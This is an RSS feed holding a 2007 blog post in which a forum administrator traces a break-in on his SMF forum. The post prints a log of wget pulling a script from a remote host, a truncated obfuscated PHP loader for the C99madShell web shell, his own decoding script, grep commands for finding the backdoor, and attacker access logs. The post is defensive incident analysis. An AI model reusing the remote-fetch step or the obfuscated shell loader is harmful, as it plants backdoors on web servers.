<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DeveloperSide.NET Blog &#187; SMF</title>
	<atom:link href="http://www.devside.net/blog/tag/smf/feed" rel="self" type="application/rss+xml" />
	<link>http://www.devside.net/blog</link>
	<description>Linux, Windows, MacOS? Who cares. Just give me something that works!</description>
	<lastBuildDate>Mon, 19 Sep 2011 20:58:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>All Your SMF Forums Have Been Hacked. Have a Nice Day.</title>
		<link>http://www.devside.net/blog/smf-exploit-like-phpbb-hack</link>
		<comments>http://www.devside.net/blog/smf-exploit-like-phpbb-hack#comments</comments>
		<pubDate>Sat, 29 Sep 2007 13:52:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[SMF]]></category>
		<category><![CDATA[phpBB]]></category>

		<guid isPermaLink="false">http://www.devside.net/blog/smf-exploit-like-phpbb-hack</guid>
		<description><![CDATA[There is nothing quite like innocently checking over your httpd logs, attempting to figure out why the &#8216;preview&#8217; feature of your forum s/w has stopped working [stuck on 'fetching preview...'], only to come up to this&#8230;

1
2
3
4
5
6
7
8
9
10
--09:57:23--  http://kotzilla.jino-net.ru/include.txt
           =&#62; `include.txt'
Resolving kotzilla.jino-net.ru... 217.107.217.29
Connecting to kotzilla.jino-net.ru&#124;217.107.217.29&#124;:80... connected.
HTTP [...]]]></description>
			<content:encoded><![CDATA[<p>There is nothing quite like innocently checking over your httpd logs, attempting to figure out why the &#8216;preview&#8217; feature of your forum s/w has stopped working [stuck on 'fetching preview...'], only to come up to this&#8230;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">--09:<span style="color: #000000;">57</span>:<span style="color: #000000;">23</span>--  http:<span style="color: #000000; font-weight: bold;">//</span>kotzilla.jino-net.ru<span style="color: #000000; font-weight: bold;">/</span>include.txt
           =<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">`</span>include.txt<span style="color: #ff0000;">'
Resolving kotzilla.jino-net.ru... 217.107.217.29
Connecting to kotzilla.jino-net.ru|217.107.217.29|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44,348 (43K) [text/plain]
&nbsp;
    0K .......... .......... .......... .......... ...       100%   69.60 KB/s
&nbsp;
09:57:25 (69.60 KB/s) - `include.txt'</span> saved <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">44348</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">44348</span><span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></td></tr></table></div>

<p>For those that do not know, the above translates to using wget, or the equivalent, to download a script to your system. With all this being done via Apache and usually from a simple URL designed to exploit a weakness in the given application.</p>
<p>My journey starts here.</p>
<p><strong>Step 1.</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #660033;">-name</span> include.txt</pre></td></tr></table></div>

<p>Nothing. Intruder must have deleted or renamed it.</p>
<p><strong>Step 2.</strong><br />
Check http://kotzilla.jino-net.ru/include.txt for clues.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?PHP</span>
             <span style="color: #666666; font-style: italic;">//Authentication</span>
<span style="color: #000088;">$login</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Login</span>
<span style="color: #000088;">$pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">//Pass</span>
<span style="color: #000088;">$md5_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//If no pass then hash</span>
<span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">gzinflate</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'HJ3HkqN..[removed]..f/79z/8A'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Intruder must think this is clever. Once you decode and inflate the string, it returns&#8230;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">gzinflate</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'[another string to decode and inflate]'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>Step 3.</strong><br />
We do not want to execute any PHP code that is an unknown. The only option left is to write a PHP script to decode/inflate until we get at the center&#8230;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;eval(gzinflate(base64_decode('HJ3HkqN..[removed]..f/79z/8A')));&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pattern</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/^eval\(gzinflate\(base64_decode\('</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span>^<span style="color: #0000ff;">'\);]*)/'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pattern</span><span style="color: #339933;">,</span> <span style="color: #000088;">$string</span><span style="color: #339933;">,</span> <span style="color: #000088;">$matches</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>
<span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #990000;">gzinflate</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Decoded/Inflated:<span style="color: #006699; font-weight: bold;">$count</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$string</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Seems to be some type of a web php shell script called C99madShell.</p>
<p><strong>Step 4.</strong><br />
We need to locate the downloaded script&#8230;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #660033;">-name</span> <span style="color: #ff0000;">'*.php'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #ff0000;">'eval(gzinflate(base64_decode('</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">/</span>...<span style="color: #000000; font-weight: bold;">/</span>forums.devside.net<span style="color: #000000; font-weight: bold;">/</span>Themes<span style="color: #000000; font-weight: bold;">/</span>readme.php:<span style="color: #7a0874; font-weight: bold;">eval</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>gzinflate<span style="color: #7a0874; font-weight: bold;">&#40;</span>base64_decode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">'HJ3Hkq...</span></pre></td></tr></table></div>

<p>Not good!</p>
<p><a href='http://www.devside.net/blog/wp-content/uploads/2007/09/c99sh_1_2.gif' title='Hack Shell 1'><img src='http://www.devside.net/blog/wp-content/uploads/2007/09/c99sh_1_2_425.gif' alt='Hack Shell 1' /></a></p>
<p><a href='http://www.devside.net/blog/wp-content/uploads/2007/09/c99sh_2_2.gif' title='Hack Shell 2'><img src='http://www.devside.net/blog/wp-content/uploads/2007/09/c99sh_2_2_425.gif' alt='Hack Shell 2' /></a></p>
<p><strong>Step 5.</strong><br />
Check logs.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #ff0000;">'readme.php'</span> <span style="color: #000000; font-weight: bold;">/</span>...<span style="color: #000000; font-weight: bold;">/</span>forums.devside.net<span style="color: #000000; font-weight: bold;">/</span>access_log</pre></td></tr></table></div>

<p>Intruder was up to something no good.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">149.156.204.1 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">57</span>:<span style="color: #000000;">38</span> -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;GET /Themes/readme.php HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">4374</span> <span style="color: #ff0000;">&quot;-&quot;</span> <span style="color: #ff0000;">&quot;Opera/9.21 (Windows NT 5.1; U; ru)&quot;</span>
149.156.204.1 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">58</span>:00 -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;POST /Themes/readme.php HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">3501</span> <span style="color: #ff0000;">&quot;http://forums.devside.net/Themes/readme.php&quot;</span> <span style="color: #ff0000;">&quot;Opera/9.21 (Windows NT 5.1; U; ru)&quot;</span>
149.156.204.1 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">27</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:<span style="color: #000000;">13</span>:08:03 -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;GET /Themes/readme.php HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">4366</span> <span style="color: #ff0000;">&quot;-&quot;</span> <span style="color: #ff0000;">&quot;GoogleBotv2&quot;</span>
149.156.204.1 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">27</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:<span style="color: #000000;">13</span>:09:<span style="color: #000000;">24</span> -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;POST /Themes/readme.php HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">4980</span> <span style="color: #ff0000;">&quot;http://forums.devside.net/Themes/readme.php&quot;</span> <span style="color: #ff0000;">&quot;GoogleBotv2&quot;</span>
...</pre></td></tr></table></div>

<p><strong>Final Analysis.</strong><br />
I&#8217;ve search the logs, and I cannot locate anything helpful about the exploit. It does not seem to be an exploit in a URL, maybe POST related, or has something to do with the SMF theme function. I run no mods, and use the default theme, and do not allow users to switch themes.</p>
<p>The latest SMF 1.1.4 changelog does not state anything about fixed exploits.</p>
<p>I know the IP of the intruder [I'm sure just a hijacked system], the user_id on the forum, the mail account used for activation, but not much anything else.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">resolveip 149.156.204.1
Host name of 149.156.204.1 is nzs.agh.edu.pl</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">149.156.204.1 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">52</span>:<span style="color: #000000;">58</span> -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;GET /index.php?action=activate;u=1992;code=136bd7eb0f HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">3409</span> <span style="color: #ff0000;">&quot;http://www.qcsalabama.com/mail/src/
read_body.php?mailbox=INBOX&amp;passed_id=685&amp;startMessage=1&quot;</span> <span style="color: #ff0000;">&quot;Opera/9.21 (Windows NT 5.1; U; ru)&quot;</span></pre></td></tr></table></div>

<p>Checking the forum account, I see this user has also logged in via another IP [and this might be where the exploit starts]&#8230;</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">83.219.135.75 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">48</span>:07 -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;GET /index.php?action=register HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">5961</span> <span style="color: #ff0000;">&quot;http://www.google.com/search?num=100&amp;hl=en&amp;lr=&amp;as_qdr=all&amp;
q=+%22powered+by+smf+1.1.3%22+site%3Anet&amp;btnG=Search&quot;</span> <span style="color: #ff0000;">&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7&quot;</span>
...
83.219.135.75 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">57</span>:07 -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;POST //index.php?action=login2 HTTP/1.1&quot;</span> <span style="color: #000000;">302</span> <span style="color: #000000;">851</span> <span style="color: #ff0000;">&quot;-&quot;</span> <span style="color: #ff0000;">&quot;Mozilla/4.0 (compatible; Windows 5.1)&quot;</span>
83.219.135.75 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">57</span>:09 -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;POST /index.php?action=post2; HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">375</span> <span style="color: #ff0000;">&quot;-&quot;</span> <span style="color: #ff0000;">&quot;Mozilla/4.0 (compatible; Windows 5.1)&quot;</span>
83.219.135.75 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">57</span>:<span style="color: #000000;">11</span> -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;POST /index.php?action=post2; HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">1527</span> <span style="color: #ff0000;">&quot;-&quot;</span> <span style="color: #ff0000;">&quot;Mozilla/4.0 (compatible; Windows 5.1)&quot;</span>
83.219.135.75 - - <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">26</span><span style="color: #000000; font-weight: bold;">/</span>Sep<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2007</span>:09:<span style="color: #000000;">57</span>:<span style="color: #000000;">23</span> -0400<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #ff0000;">&quot;POST /index.php?action=post2; HTTP/1.1&quot;</span> <span style="color: #000000;">200</span> <span style="color: #000000;">307</span> <span style="color: #ff0000;">&quot;-&quot;</span> <span style="color: #ff0000;">&quot;Mozilla/4.0 (compatible; Windows 5.1)&quot;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">resolveip 83.219.135.75
Host name of 83.219.135.75 is ppp135-75.tis-dialog.ru</pre></td></tr></table></div>

<p>I can understand phpBB getting rooted, I can understand WordPress being owned, but this is a first one for <a href="http://www.simplemachines.org/">SMF</a>.</p>
<p>And for anyone having odd issues with SMF [like getting stuck on 'fetching preview...']&#8230;</p>
<blockquote><p>Smile. All your SMF forums have been hacked. Have a nice day.</p></blockquote>
<p>Search <a href="http://www.simplemachines.org/community/index.php?action=search2;search=fetching+preview;brd[]=9">&#8216;fetching preview&#8217;</a> on the SMF support forums. This hack/exploit might be going back years.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.devside.net/blog/smf-exploit-like-phpbb-hack/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>

